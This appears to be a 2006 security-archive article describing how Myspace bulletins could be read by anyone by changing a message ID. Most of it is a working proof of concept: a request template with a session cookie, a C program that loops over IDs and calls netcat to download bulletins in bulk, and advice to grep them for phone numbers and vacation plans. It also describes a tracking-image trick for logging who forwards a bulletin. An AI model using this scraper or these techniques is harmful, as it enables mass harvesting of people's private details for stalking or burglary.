what you don't know can hurt you

bulletins.txt

bulletins.txt
Posted Jul 2, 2006
Authored by stderr | Site chokepoint.net

This is an article discussing some dangers of Myspace bulletins. It includes proof of concept code that can be used to download hundreds of thousands of bulletins that most users assume to be only accessible by friends.

tags | web, proof of concept
MD5 | ca8ab8c1de038f57e1ef013f912f5ae6

bulletins.txt

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Myspace Bulletins: The good, the bad, and the ugly

Data Mining Myspace, a case study

Author: stderr (stderr@pandora-security.com)
http://stderr.linuxinit.net

Original release:
http://www.pandora-security.com

------------------------------------------------------

1. Abstract

We all know about myspace.com, and I'll go ahead and admit
that I actually have an account to keep up with friends.
Myspace is full of a bunch of idiots, but it can be a great
tool for keeping up with people... when used properly.

Myspace has long been a hacker playground, you may remember
the infamous "Samy is my hero" "worm". The "worm" took advantage
of several poor input validation techniques which were being
employed. Each person that went to a page with his script in it,
automatically sent him a friend request. After this alarming
stunt, Myspace fixed a lot of the injection vulnerabilities.

------------------------------------------------------

2. Introduction to Bulletins

On Myspace, you can send "bulletins" which are sent to all
of the friends on your list. That way if you're going on
vacation or something, you can let ALL of your friends know
what's happening by sending only one message. Most people
assume that only their friends can read the bulletins they
post... they are sadly mistaken.

When you open up a bulletin, you go to a url like the following.

http://bulletin.myspace.com/index.cfm?fuseaction=bulletin.read&messageID=111111111

Yes, you guessed it. If you change the messageID number,
you can view any bulletin on Myspace that hasn't yet
expired. Now, if we could just collect a ton of bulletins,
then we could surely find some juicy information like
cell phone numbers, when people are leaving for vacation,
where they're going... the list goes on and on.

The implementation of bulletins so that everyone can view them
may be intentional, but most people assume that bulletins are
only readable by friends. Because of this belief, many people
post personal details in bulletins, never expecting people
like you to read them. The mere existence of the "Delete from
friends" button implies that only friends should be able to
read your bulletins.

------------------------------------------------------

3. Mining the data

I was able to whip together a small C program that generates
urls, retrieves the bulletin, and saves the html to a file.
Once all of the data has been downloaded, it's easy to parse
through using a tool like grep.

In order for this program to work, you need to download a
tool called 'netcat'. You will also need to get your cookie
once you're logged into myspace, so that you can view the
bulletins.

First of all, let's create a new file named "request.txt"
The contents should look something like this, but you'll need
to change the cookie to match yours.

=======================================================

Host: bulletin.myspace.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060414
Accept: application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html
;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: TIMEZONE=3; ODZDBXZG9tY#luPXXhaG#vJSRsZD1DXEWQSASLKJFLAJF;ODIJ;AEIJOIJDFOIAJEDKL124DADK
ADS;IFJO;IEAJOIFEA89U;FIO;23A;OIJDSJAOIJOIEJWAIJLDOISJFOIJ39812H12O8JAW098320AJDSLKJ32AOJ12LIJ4
A;OIJ;S;OAIJMCOISJAO8JOIRA2J38U2398JIOAJDFKANKJCNLUIHA8W734HLAIL2L3ANUHDLUIAHF87Y3LAHAKDJHF8L83
5PVVTJmRhdGluZz0wJmRyaW5rZXI9MCZlZHVjYXRpb25pZD0x; NGUserID=a258ca5-2341-1231956342-6;
MYSPACE=myspace; AUTOSONGPLAY=0; UNIQUELOGINTAKEOVER_10207218=%7Bts%20%272006-06-2df%047%3A32%x
A18%27%7D; MSCOUNTRY=US; FRNDIDxr2g=55555555; rsi_want=0; COUNTRYCODE=MFMGCisGAQQBgjdYA7GgRTBDB
gorBgEEAYI3WAMBoDUwMwIDAgABAgJmAwICAMAECHndruAVl3qwBBBgdJZ9K7N%2F34aRlhOz2UArBAi%2BqGfSVTRm7w%3
D%3D; MSCulture=IP=127.0.0.1&IPCulture=en-US&PreferredCulture=en-US&Country=US;
MYUSERINFO=saoijaoi;joiewjaoijdosiajdklajfoijADFJIEAJKDJFIJIEAdlkjlijelaijalidjflijaslijldsijli
AIDFJIAEwjfoiajdfeAIJDfAOJeagEOJeAJDalkjdadfAEJaijadlijfdilakmckj85423alkjdklafjdlkajdklajlkjea
aDJFAILJJae'oifja;3o4ijmaidjalkfmaijkladfjalkjfioeajlkmdmc,jkjiojoia3wjiojfoiejaoija;odijflkjda
ALOAJKEIOAJF3ea:LKfoaidjiajsioajlk3jaijdkfhfkjghncx,jlkjaweoijroiajoijadsljfdlksajfij32lja;dljf
aDJFOA:#oKkdjflkaj;ijIOJilj;ioje;ioHiuhNKJhUGJJikhiugygGTYFTJHKHIUgyuhihiugI:HUgugyfTHDGfyjgfff
2FADFaEFeaDfagFhGHggFgadcAweadddafdasfeafgeaeageaijlkfjai;hj;JIOJlihluhkHUIHKhuilgliuHLIUHLHhhh
h0DSAFOOJaewoi'jfa;ilj;oi:IOnjiehjioh;iH:IH;iohi;hg;juGYFyjfyjflukhaljdkfaejoijlajdlifjealijddd
WIaOJFoa;ejklijdaFOJEaIjo:IJEAOIJEoajf:EOJAjdailjdf;ilaj;lijioj;oije;aojojaoijoiej;oaijo;ij;oij
hNaoijao;ijdoifj;ckxx,jaiojeifajkjnaklhugi834829ijljadflkj3alijadlkjfaeljaclijeakjdoijgealijdcd
Fsaijo;ij3;oaij;oijod;iasj;oijx90asjoij3alij;ioadjf;iojeo;iaj;oij;dkjfkdjlakjdlska;
LASTUSERCLICK=%7bts+'2006-06-21+15%3a64%3a52'%1f; CAPTCHA=02236762-de4c-133a-a5e2-ff558427f513

=======================================================

Now that you have the request.txt file all setup, let's go
ahead and compile the C program that will mine the data.

scan.c

=======================================================

/*************************************************
* scan.c -- Myspace bulletin miner *
* Author: stderr (stderr@pandora-security.com) *
* Usage: ./scan 1164147677 1164147678 *
* The ending ID should be greater than the *
* starting ID, that or you could always *
* reverse the loop in the body of the program. *
* *
* (Note) I'm sure this could be done a lot more *
* elegantly, maybe even with perl or something *
* But... this is just a proof of concept, so.. *
* No hating :) *
*************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char *name);

int main(int argc, char *argv[])
{
double id, s_id, e_id;
char x, url[256];
FILE *in_file, *out_file;

if (argc != 3) {
usage(argv[0]);
exit(1);
}

s_id = atoi(argv[1]);
e_id = atoi(argv[2]);

if (s_id >= e_id) {
printf("The ending ID must be greater than the starting ID\n");
exit(1);
}

for (id = s_id; id < e_id; ++id) {
in_file = fopen("request.txt","r");
out_file = fopen("new_request.txt","w");

fprintf(out_file,"GET /index.cfm?fuseaction=bulletin.read&messageID=%0.lf HTTP/1.1\n",id);
while ((x=fgetc(in_file)) != EOF)
fputc(x,out_file);
fclose(in_file);
fclose(out_file);

printf("Downloading Bulletin #%0.lf ... %0.lf bulletins left.\r",id, e_id-id);
sprintf(url,"nc -w2 bulletin.myspace.com 80 < new_request.txt > bulletin/%0.lf.html\n",id);
system(url);
}
system("pause");
return 0;
}

void usage(char *name)
{
printf("%s <start message id> <ending message id>\n",name);
}

=======================================================

Now compile the program, and run something like this...

./scan 4264287677 4264287777

(Note) Before running the program, you'll need to make a directory
called "bulletin" so that the program will save the bulletins to
their own directory. If you don't like that setup, then change the
code.

You should now have a bunch of bulletins downloaded, now just grep
through the the "bulletin" directory for the data that you're looking
for.

------------------------------------------------------

4. More fun with Bulletins

If you have a Myspace account, you've undoubtedly encountered a lot of spam
bulletins. Another idea to play with bulletins is be to add an image
in the bulletin, and start forwarding it around. The image that's pointed
to should be on a server where you have access to the logs. Once people
start circulating the bulletin, it's possible to see how many times it's
been forwarded by looking at the referrer. To the best of my knowledge
there's no way of getting the name of each person that reads the
bulletin, but you will obviously have the name of each person that
forwards the bulletin.

------------------------------------------------------

5. Closing Statements

Whether this is a "flaw" that is going to be closed remains to be seen.
As always, just be careful with the information you're posting on the
internet. You never know who's watching.

Shouts: zipk0der, XPlicit, exvitel, Sonic, and Darcy

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